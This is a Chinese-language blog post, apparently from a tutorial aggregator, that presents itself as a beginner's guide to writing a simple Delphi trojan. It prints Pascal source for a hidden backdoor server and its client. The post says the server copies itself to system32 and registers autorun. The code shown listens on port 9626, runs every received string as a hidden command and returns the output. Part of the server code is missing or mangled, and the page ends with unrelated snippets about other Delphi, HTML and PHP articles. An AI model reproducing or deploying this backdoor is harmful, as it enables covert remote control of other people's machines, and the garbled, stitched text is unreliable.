DELPHI下打造自己的簡單木馬

2021-04-01 22:15:03 字數 4419 閱讀 4988

今天晚上無聊寫著玩的,如果你是高手就別看了,免得我丟人。本文章只適合初學delphi小菜。

剛學電腦時很喜歡網路安全,看著高手們寫的乙個又乙個攻擊工具,自己也總想努力去學好程式設計去寫屬於自己的程式。學delphi快一年了,感覺什麼都沒學到,慚愧啊。今晚突然想學著寫木馬,於是手忙腳亂的敲了點**,超簡單,願自己能越寫越好!!!

程式跟傳統木馬一樣,分服務端和客戶端。執行服務端後會複製自身到system32目錄下面,並在登錄檔新增一自動行啟動項,開啟本機9626埠開始等待接收客戶端的資料。當接收到客戶端資料時就當作cmd命令去執行,最後把回顯傳送回客戶端。客戶端很簡單,跟服務端連線成功後,輸入命令點執行,正常的話可以收到服務端的執行結果了。

原始碼如下:

server.pas//

unit utmain;

inte***ce

uses

windows, messages, sysutils, variants, classes, graphics, controls, forms,

dialogs, registry, scktcomp, stdctrls;

type

tfmmain = class(tform)

ss: tserversocket;

memo1: tmemo;

procedure formcreate(sender: tobject);

procedure ssaccept(sender: tobject; socket: tcustomwinsocket);

procedure ssclientread(sender: tobject; socket: tcustomwinsocket);

private

public

end;

varfmmain: tfmmain;

reg:tregistry;

implementation

ss.port:=9626;

tryss.active:=true;

except

end;

end;

procedure tfmmain.ssaccept(sender: tobject; socket: tcustomwinsocket);

begin

socket.sendtext('連線成功');   //發現有連線時回傳『連線成功 』

end;

procedure tfmmain.ssclientread(sender: tobject; socket: tcustomwinsocket);

varremotecmd:string;

hreadpipe,hwritepipe:thandle;

si:startupinfo;

lsa:security_attributes;

pi:process_information;

cchreadbuffer:dword;

ph:pchar;

fname:pchar;

res:string;

begin

memo1.clear;

remotecmd:=socket.receivetext;

fname:=allocmem(255);

ph:=allocmem(5000);

lsa.nlength  :=sizeof(security_attributes);

lsa.lpsecuritydescriptor  :=nil;

lsa.binherithandle  :=true;

if  createpipe(hreadpipe,hwritepipe,@lsa,0)=false  then

begin

socket.sendtext('不能建立管道');

exit;

end;

fillchar(si,sizeof(startupinfo),0);

si.cb:=sizeof(startupinfo);

si.dwflags:=(startf_usestdhandles  or  startf_useshowwindow);

si.wshowwindow:=sw_hide;

si.hstdoutput:=hwritepipe;

strpcopy(fname,remotecmd);

/執行cmd命令

if createprocess(nil,fname,nil,nil,true,0,nil,nil,si,pi)=false then

begin

socket.sendtext('不能建立程序');

freemem(ph);

freemem(fname);

exit;

end;

while(true)  do

begin

if  not  peeknamedpipe(hreadpipe,ph,1,@cchreadbuffer,nil,nil)  then  break;

if  cchreadbuffer<>0  then

begin

if  readfile(hreadpipe,ph^,4096,cchreadbuffer,nil)=false  then  break;

ph[cchreadbuffer]:=chr(0);

memo1.lines.add(ph);

endelse

if(waitforsingleobject(pi.hprocess  ,0)=wait_object_0)  then  break;

sleep(100);

end;

ph[cchreadbuffer]:=chr(0);

memo1.lines.add(ph);    //memo接收回顯

closehandle(hreadpipe);

closehandle(pi.hthread);

closehandle(pi.hprocess);

closehandle(hwritepipe);

freemem(ph);

freemem(fname);

socket.sendtext(memo1.text);  ///將回顯傳送回客戶端

end;

end.

//客戶端/

unit utmain;

inte***ce

uses

windows, messages, sysutils, variants, classes, graphics, controls, forms,

dialogs, olectrls, shdocvw, stdctrls, idbasecomponent, idcomponent,

idudpbase, idudpserver, buttons, tlhelp32, scktcomp;

type

tfmmain = class(tform)

webbrowser1: twebbrowser;

label3: tlabel;

edit2: tedit;

label4: tlabel;

edit3: tedit;

button2: tbutton;

cs: tclientsocket;

edit4: tedit;

label5: tlabel;

memo1: tmemo;

bitbtn2: tbitbtn;

procedure button2click(sender: tobject);

procedure csread(sender: tobject; socket: tcustomwinsocket);

procedure bitbtn2click(sender: tobject);

private

public

end;

varfmmain: tfmmain;

implementation

procedure tfmmain.button2click(sender: tobject);

begin

cs.host:=edit2.text;

cs.port:=strtoint(edit3.text);

cs.open;

end;

procedure tfmmain.csread(sender: tobject; socket: tcustomwinsocket);

begin

memo1.clear;

memo1.lines.add(socket.receivetext);

memo1.lines.add('');

end;

procedure tfmmain.bitbtn2click(sender: tobject);

begin

cs.socket.sendtext(edit4.text);

end;

end.

delphi技術 打造乙個自己的網路電視機

在進入delphi程式設計之前,要做好以下的準備工作 一 先蒐集各個電視台訊號的位址 二 設計好電視機的外框 三 設定程式設計環境 win98 xp mediaplayer9.0 delphi6.0中文版。你的電腦必須要安裝mediaplayer9.0版和realplayer軟體。四 引入控制項 在...

打造自己的簡易HTML Editor

href ms help hx hxruntime hxlink.css type text css rel stylesheet html的很多控制項都提供乙個叫contenteditable 首先定義乙個div,並設定contenteditable true 接著需要有一些命令來操作這個div ...

打造自己的php框架

自己打造php框架,首先要對自己的框架定位,為什麼現在已經有這麼多非常成熟的框架而不用,要用自己的php框架。1 為了更快的開發效率 2 為了更高的執行效率 3 彰顯出自己的實力 一 框架流程 要想打造乙個自己的php框架還要了解框架的執行流程 入口檔案 定義常量 引入函式庫 自動載入類 啟動框架 ...